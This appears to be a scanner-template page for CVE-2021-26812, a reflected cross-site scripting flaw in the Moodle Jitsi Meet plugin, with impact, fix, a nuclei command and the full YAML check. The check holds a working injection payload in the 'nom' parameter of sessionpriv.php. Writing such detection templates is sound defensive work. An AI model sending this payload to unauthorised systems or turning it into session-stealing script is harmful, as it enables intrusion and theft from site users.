Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

97.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b…
Positive when: contains "alert(document.domain);" AND contains in header "MoodleSession" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26812 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-26812

info:
  name: Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting
  author: aceseven (digisec360)
  severity: medium
  description: Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability.
  reference:
    - https://github.com/udima-university/moodle-mod_jitsi/issues/67
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26812
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26812
    cwe-id: CWE-79
    epss-score: 0.97157
    epss-percentile: 0.99894
    cpe: cpe:2.3:a:jitsi:meet:*:*:*:*:*:moodle:*:*
  metadata:
    max-request: 1
    vendor: jitsi
    product: meet
    framework: moodle
  tags: cve2021,cve,moodle,jitsi,xss,plugin,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"

      - type: word
        part: header
        words:
          - "MoodleSession"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from